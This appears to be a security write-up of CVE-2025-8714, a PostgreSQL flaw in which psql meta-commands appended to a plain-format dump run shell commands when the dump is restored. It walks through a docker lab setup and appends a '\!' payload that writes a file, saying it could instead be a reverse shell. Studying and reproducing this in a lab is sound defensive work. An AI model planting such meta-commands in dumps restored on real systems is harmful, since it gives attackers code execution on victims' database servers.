CVE-2025–8714, published on August 14, 2025 reports arbitrary code injection for restore-time when using psql. The code injection is achieved via psql meta commands. It affects pg_dumpall and pg_restore when used to generate a plain format dump.
The vulnerability has a severity score (CVSS 3.1) of 8.8 (High) and affects all PostgreSQL versions before 17.6, 16.10, 15.14, 14.19 and 13.22. The updates have been released, and all users are advised to upgrade.
In a real world scenario, an attacker can use this vulnerability to exploit systems by achieving code execution and obtaining a reverse shell or damaging the system.
The following part of the write up would demonstrate this vulnerability for PostgreSQL version 15.13.
For demonstration purpose, we would use a docker container for PostgreSQL 15.13. To initialize the container, we use
sudo docker run -d --name pg-vuln -e POSTGRES_PASSWORD=sspswd -p 5432:5432 postgres:15.13
For connecting to the container,
sudo docker exec -it pg-vuln /bin/bash
And finally, switch to the PostgreSQL user using,
su postgres
The dump could be created using pg_dumpall or, there is a shorter, manual way that an attacker might use.
First, we need to create a database to dump it. It is important to note that this dump can be created on any other machine as well but the restoration (done in the next section) is to be done on the target machine.
First, we create a dummy database to create a dump.
psql -U postgres -v ON_ERROR_STOP=1 <<'SQL'
CREATE SCHEMA demo;
CREATE TABLE demo.t(x int);
INSERT INTO demo.t VALUES(1);
SQL
And then dump it.
pg_dumpall -U postgres > /tmp/vuln_dump.sql
To the dump, we append the command that we want execute.
echo '\! echo "I could have been a reverse_shell" > /tmp/payload.txt' | tee -a /tmp/vuln_dump.sql
Create a dump file named vuln_dump.sql with the following content in it.
-- minimal SQL so restore looks legit
SELECT current_date;
-- code added by attacker
\! echo "I could have been a reverse_shell" > /tmp/payload.txt
And then, we need to place this on the target machine as /tmp/vuln_dump.sql (This file path might be different but the restoration will need to be modified accordingly).
Finally, on the target machine, we have a dump to restore: /tmp/vuln_dump.sql which contains malicious os command (in real scenerio it could be a reverse shell).
In our docker container, we finally execute:
psql -U postgres < /tmp/vuln_dump.sql
This creates a file /tmp/payload.txt which contains I could have been a reverse_shell.
This file can be verified an read using:
ls -l /tmp/payload.txt
cat /tmp/payload.txt
pg_dump -Fc with pg_restore.